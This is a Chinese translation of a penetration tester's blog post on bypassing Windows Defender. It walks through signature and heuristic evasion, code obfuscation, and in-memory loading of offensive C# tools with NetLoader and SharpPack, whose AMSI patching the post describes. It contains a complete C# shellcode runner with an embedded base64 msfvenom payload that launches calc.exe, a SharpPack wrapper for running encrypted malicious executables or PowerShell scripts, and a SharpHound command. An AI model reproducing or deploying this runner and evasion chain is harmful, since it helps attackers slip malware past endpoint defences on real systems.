原文:
https://arty-hlr.com/blog/2021/05/06/how-to-bypass-defender/
(提示:原文体验较好,本文非常多的倒装句,翻译已经gg了)
在最近的一次测试中,我有机会通过RDP在AD环境中的windows VM中花了一些时间来测试它们的加固。在这个过程中,从非常基本的技术到一些更高级的技术,我学到了很多关于DotNet的知识,防病毒引擎是如何工作的,以及如何绕过它们。我确实在测试中中绕过了Defender,运行了一些不错的东西,并想为像我一样几天前没有绕过杀毒软件经验的人写一篇博客。祝您阅读愉快 🙂
如何通过几个简单的步骤绕过Defender?
在我们深入研究我尝试的解决方案之前,让我们回顾一下AV如何处理磁盘上的文件(暂且不讨论AI):
签名检测
启发式检测
在内存中检测
签名
它的基本功能和最早的功能是将文件或文件部分的哈希值与已知恶意文件的哈希值进行比较。这可以是整个文件的散列,也可以是位于恶意活动核心的几个字节或字符串,经典的是模糊哈希算法。
启发式
在反病毒的下一个阶段,当签名或不够时,是考虑在实际运行之前模拟想要运行的可执行文件。这意味着遍历汇编指令或代码行,并检查它们运行时发生了什么。根据观察到的行为,反病毒可以判定一个文件是恶意的,并且在被模拟后不允许该文件运行。
内存
最后要提到的一点是AMSI:微软对恶意软件的反应甚至没有触及磁盘。当磁盘上的可执行文件运行时,它在被允许运行之前被扫描/模拟,但是如果该可执行文件已经在内存中并从其他地方加载,会发生什么呢?AMSI是一个Windows API,它允许软件开发人员执行脚本,例如(想想PowerShell, Office中的VBA宏,c#汇编的反射),在让内存中的东西运行之前请求一个AMSI扫描。
第一种方法:更改字符串和模糊处理
所以让我们试着绕过反病毒的第一层:签名检测。我的第一次尝试是运行我的c# SharpHound.exe例如通过防御检查,通过DefenderCheck,Find-AVSignature,Antiscan.me和VirusTotal试图找出是哪一部分代码触发了杀毒软件。通过反复试验,通过文件中越来越小的部分,您可以找到哪些字符串触发AV,并在Visual Studio中重构这些字符串,或者更改可执行文件的单个字节。最后一种方法的缺点是,当汇编指令被重写时,它很可能会破坏可执行文件,并且需要逆向工程来弄清楚到底发生了什么变化以及它是否可以修复,这需要花费时间和精力来处理反汇编的二进制代码。不是很好,我们很懒,而且每一个我们想要绕过的杀毒软件都得这么做,有点捞。
第二种方法:代码混淆
另一个方法,尝试改变代码,使其看起来不再像任何东西。我是说,把代码弄混。ConfuserEx等工具可以,net应用程序也可以实现这一点。这在一定程度上是可行的,在几年前可能已经足够了,但是现在仍然不能绕过任何启发式检测。好吧,仍然值得一试。

代码:
using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Net; using System.Text; using System.Threading; using System.IO; namespace Shellcode_Runner {class Program{[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")]static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreatingFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")]static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); static void Main(string[] args){// msfvenom -p windows/exec cmd=calc.exe exitfunc=thread -a x64 -f base64string b64_payload = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";byte[] buf = System.Convert.FromBase64String(b64_payload); int size = buf.Length;IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);Marshal.Copy(buf, 0, addr, size);IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);Thread.Sleep(10000);WaitForSingleObject(hThread, 0xFFFFFFFF);}} }
我想,如果我能用它运行shellcode,为什么不试着在base64中加载整个EXE文件,让它像shellcode一样运行。我是说,为什么行不通呢?很明显,我注意到在几次失败的尝试后,EXE和特别是c#编译的EXE不是shellcode,而且显然加载整个EXE执行汇编指令不会工作,只是因为PE头文件,不管c#是如何编译的,我记得有一段时间尝试它是一种托管语言,并编译成中间代码…甚至我的努力转换为shellcode,用(https://github.com/hasherezade/pe\_to\_shellcode)pe_to_shellcode改变了PE头是可执行的(显然不会与c#仍然工作)或Donut(https://github.com/TheWover/donut没有带来任何成果。
但是,我写了一个shellcode加载器!下一步应该是通过加密有效载荷来逃避签名检测,以及通过干扰我们的行为来进行启发式检测(这可能是另一篇博文的主题,我主要关注的是绕过shell代码的AV,没有我在这里最终使用的解决方案)。所以,这个问题在我的下一次尝试中。
第三种方法:有效载荷交付
因此,如果我不能充分混淆一个c#可执行文件,或者通过将其作为shellcode运行来绕过启发式分析,也许还有另一种方法不触及磁盘。我曾经在CRTE训练营中使用过NetLoader,但并没有真正理解它的作用和用途,但现在让我们深入探讨一下:
NetLoader是一个c#工具,它通过反射从路径、URL或SMB共享加载c#程序集(这可能是另一个博客帖子的主题,但将其视为一个shell代码运行器,但用于c#程序集),并补丁AMSI绕过它。这意味着恶意的c#可执行文件根本不需要接触磁盘,这对我们来说是一件好事,而且由于它绕过了AMSI(另一个话题将在以后的博文中发表),这可能意味着完全绕过了Defender。唯一的问题是,它会被允许运行吗?显然微软还没有为NetLoader添加签名,因为它已经添加了!
第一次成功:运行任何恶意的c#可执行文件!

但这对我来说还不够,我希望能够运行PowerShell脚本,但这不能与NetLoader一起工作,所以到另一个有效载荷交付和AMSY绕过的工具,SharpPack: https://github.com/mdsecactivebreach/SharpPack
SharpPack需要重构我的目的,随着项目的编译DLL在默认情况下,哪个更适合opsec安全方面,如DotNetToJScript(https://github.com/tyranid/DotNetToJScript)或在Office VBA宏,如这篇文章所述,但我只是想要一个正常的c#与NetLoader可执行,我将运行。
我编译到exe,并添加了一个主函数:

using System; using SharpPack; namespace SharpPackRunner {class Program{static void usage(){System.Console.WriteLine("Usage: SharpPackRunner.exe -D/-P <encpath> <encpass> <outfile> <name> <args>");return;}static void Main(string[] args){if (args.Length != 6){usage();return;} var sp = new SharpPackClass();if (String.Equals(args[0], "-D"))sp.RunDotNet(args[1], args[2], args[3], args[4], args[5]);else if (String.Equals(args[0], "-P"))sp.RunPowerShell(args[1], args[2], args[3], args[4], args[5]);elseusage();}} }
(我在寻找一个更优雅的解决方案,比如在python中将数组解包为参数,如*array,但显然这在c#中不重构方法是不可能的)
所以我最终得到了一个c#可执行文件,我可以用NetLoader运行它,它可以从加密的zip文件中提取一个c#恶意可执行文件或PowerShell脚本,运行它,并将输出发送到一个文本文件。代码可以被改变从一个URL加载可执行文件和脚本或分享NetLoader的显示输出,而不是发送一个文本文件,这样没有什么落磁盘上的,但说实话没有那么多时间去深入源代码。
我在SharpHound的末尾加了一行。ps1脚本使用Invoke-BloodHound -CollectionMethod All加载并运行SharpHound(尽管再次阅读MDSec的博文,我可能已经将这一行作为SharpPack的最后一个参数),现在可以运行PowerShell脚本了!

译者:
裂开了,他企图教会我
本文迁移自知识星球“火线Zone”